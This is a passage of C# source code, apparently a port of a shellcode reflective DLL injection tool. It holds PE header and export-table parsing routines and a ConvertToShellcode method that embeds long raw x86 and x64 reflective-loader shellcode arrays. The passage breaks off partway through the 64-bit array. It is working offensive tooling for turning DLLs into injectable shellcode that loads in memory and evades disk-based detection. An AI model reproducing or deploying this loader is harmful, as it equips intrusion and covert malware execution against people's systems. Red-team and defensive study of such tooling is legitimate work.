(IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER)); 446 | wNumberOfSections = imageNtHeaders32.FileHeader.NumberOfSections; 447 | } 448 | 449 | if (dwRva < SectionHeader.PointerToRawData) 450 | return (IntPtr)((UInt64)dwRva + (UInt64)PEPointer); 451 | 452 | for (wIndex = 0; wIndex < wNumberOfSections; wIndex++) 453 | { 454 | SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((IntPtr)((uint)imageSectionPtr + (uint)(sizeOfSectionHeader * (wIndex))), typeof(IMAGE_SECTION_HEADER)); 455 | if (dwRva >= SectionHeader.VirtualAddress && dwRva < (SectionHeader.VirtualAddress + SectionHeader.SizeOfRawData)) 456 | return (IntPtr)((UInt64)(dwRva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData) + (UInt64)PEPointer); 457 | } 458 | 459 | return IntPtr.Zero; 460 | } 461 | 462 | public static unsafe bool Is64BitDLL(byte[] dllBytes) 463 | { 464 | bool is64Bit = false; 465 | GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned); 466 | IntPtr scPointer = scHandle.AddrOfPinnedObject(); 467 | 468 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(scPointer, typeof(IMAGE_DOS_HEADER)); 469 | 470 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)scPointer + (UInt64)dosHeader.e_lfanew); 471 | 472 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64)); 473 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS)); 474 | 475 | if (imageNtHeaders64.Signature != 0x00004550) 476 | throw new ApplicationException("Invalid IMAGE_NT_HEADER signature."); 477 | 478 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true; 479 | 480 | scHandle.Free(); 481 | 482 | return is64Bit; 483 | } 484 | 485 | public static unsafe IntPtr GetProcAddressR(IntPtr PEPointer, string functionName) 486 | { 487 | bool is64Bit = false; 488 | 489 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(PEPointer, typeof(IMAGE_DOS_HEADER)); 490 | 491 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew); 492 | 493 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64)); 494 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS)); 495 | 496 | if (imageNtHeaders64.Signature != 0x00004550) 497 | throw new ApplicationException("Invalid IMAGE_NT_HEADER signature."); 498 | 499 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true; 500 | 501 | IntPtr ExportTablePtr; 502 | 503 | if (is64Bit) 504 | { 505 | if ((imageNtHeaders64.FileHeader.Characteristics & 0x2000) != 0x2000) 506 | throw new ApplicationException("File is not a DLL, Exiting."); 507 | 508 | ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders64.OptionalHeader.ExportTable.VirtualAddress); 509 | } 510 | else 511 | { 512 | if ((imageNtHeaders32.FileHeader.Characteristics & 0x2000) != 0x2000) 513 | throw new ApplicationException("File is not a DLL, Exiting."); 514 | 515 | ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders32.OptionalHeader.ExportTable.VirtualAddress); 516 | } 517 | 518 | IMAGE_EXPORT_DIRECTORY ExportTable = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(IMAGE_EXPORT_DIRECTORY)); 519 | 520 | for (int i = 0; i < ExportTable.NumberOfNames; i++) 521 | { 522 | IntPtr NameOffsetPtr = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfNames); 523 | NameOffsetPtr += (i * Marshal.SizeOf(typeof(UInt32))); 524 | IntPtr NamePtr = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint))); 525 | 526 | string Name = Marshal.PtrToStringAnsi(NamePtr); 527 | 528 | if (Name.Contains(functionName)) 529 | { 530 | IntPtr AddressOfFunctions = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfFunctions); 531 | IntPtr OrdinalRvaPtr = (IntPtr)((ulong)PEPointer + (ulong)(ExportTable.AddressOfNameOrdinals + (i * Marshal.SizeOf(typeof(UInt16))))); 532 | UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16)); 533 | IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32)))); 534 | IntPtr FuncLocationInMemory = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32))); 535 | 536 | return FuncLocationInMemory; 537 | } 538 | } 539 | return IntPtr.Zero; 540 | } 541 | } 542 | 543 | public static class RDILoader 544 | { 545 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 546 | delegate IntPtr ReflectiveLoader(); 547 | 548 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)] 549 | delegate bool ExportedFunction(IntPtr userData, uint userLength); 550 | 551 | public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData, uint flags) 552 | { 553 | var rdiShellcode32 = new byte[] { 0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 0x2C, 0x31, 0xEB, 0x27, 0x66, 0x3B, 0x44, 0x24, 0x24, 0x75, 0x11, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x66, 0x01, 0x04, 0x31, 0xEB, 0x0F, 0x66, 0x3B, 0xC2, 0x75, 0x0A, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x66, 0x01, 0x2C, 0x31, 0x03, 0xDA, 0x85, 0xFF, 0x75, 0xB1, 0x8B, 0x5C, 0x24, 0x18, 0x8B, 0x54, 0x24, 0x5C, 0x8B, 0x4C, 0x24, 0x14, 0x03, 0x11, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x85, 0x77, 0xFF, 0xFF, 0xFF, 0x8B, 0x7C, 0x24, 0x10, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x24, 0x5C, 0x8D, 0x6F, 0x3C, 0x03, 0xE9, 0x48, 0x83, 0x7D, 0xEC, 0x00, 0x89, 0x44, 0x24, 0x24, 0x0F, 0x86, 0x94, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x00, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x07, 0x6A, 0x08, 0x5E, 0x6A, 0x01, 0xEB, 0x05, 0x6A, 0x04, 0x5E, 0x6A, 0x02, 0x85, 0xC9, 0x58, 0x0F, 0x44, 0xF0, 0xEB, 0x2C, 0x85, 0xD2, 0x75, 0x17, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x10, 0xEB, 0x15, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x18, 0xBE, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x20, 0x5E, 0xEB, 0x08, 0x6A, 0x40, 0x85, 0xC9, 0x58, 0x0F, 0x45, 0xF0, 0x8B, 0x4D, 0x00, 0x8B, 0xC6, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x81, 0xE1, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC6, 0x8B, 0xF0, 0x8D, 0x44, 0x24, 0x28, 0x50, 0x8B, 0x45, 0xE8, 0x56, 0xFF, 0x75, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x3C, 0x85, 0xC0, 0x0F, 0x84, 0xEC, 0xFC, 0xFF, 0xFF, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC5, 0x28, 0x85, 0xC0, 0x0F, 0x85, 0x52, 0xFF, 0xFF, 0xFF, 0x8B, 0x77, 0x28, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0x03, 0xF3, 0xFF, 0x54, 0x24, 0x3C, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x53, 0xFF, 0xD6, 0x83, 0x7C, 0x24, 0x60, 0x00, 0x74, 0x7C, 0x83, 0x7F, 0x7C, 0x00, 0x74, 0x76, 0x8B, 0x4F, 0x78, 0x03, 0xCB, 0x8B, 0x41, 0x18, 0x85, 0xC0, 0x74, 0x6A, 0x83, 0x79, 0x14, 0x00, 0x74, 0x64, 0x8B, 0x69, 0x20, 0x8B, 0x79, 0x24, 0x03, 0xEB, 0x83, 0x64, 0x24, 0x5C, 0x00, 0x03, 0xFB, 0x85, 0xC0, 0x74, 0x51, 0x8B, 0x75, 0x00, 0x03, 0xF3, 0x33, 0xD2, 0x0F, 0xBE, 0x06, 0xC1, 0xCA, 0x0D, 0x03, 0xD0, 0x46, 0x80, 0x7E, 0xFF, 0x00, 0x75, 0xF1, 0x39, 0x54, 0x24, 0x60, 0x74, 0x16, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC5, 0x04, 0x40, 0x83, 0xC7, 0x02, 0x89, 0x44, 0x24, 0x5C, 0x3B, 0x41, 0x18, 0x72, 0xD0, 0xEB, 0x1F, 0x0F, 0xB7, 0x17, 0x83, 0xFA, 0xFF, 0x74, 0x17, 0x8B, 0x41, 0x1C, 0xFF, 0x74, 0x24, 0x68, 0xFF, 0x74, 0x24, 0x68, 0x8D, 0x04, 0x90, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B, 0xC3, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x48, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB }; 554 | var rdiShellcode64 = new byte[] { 0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 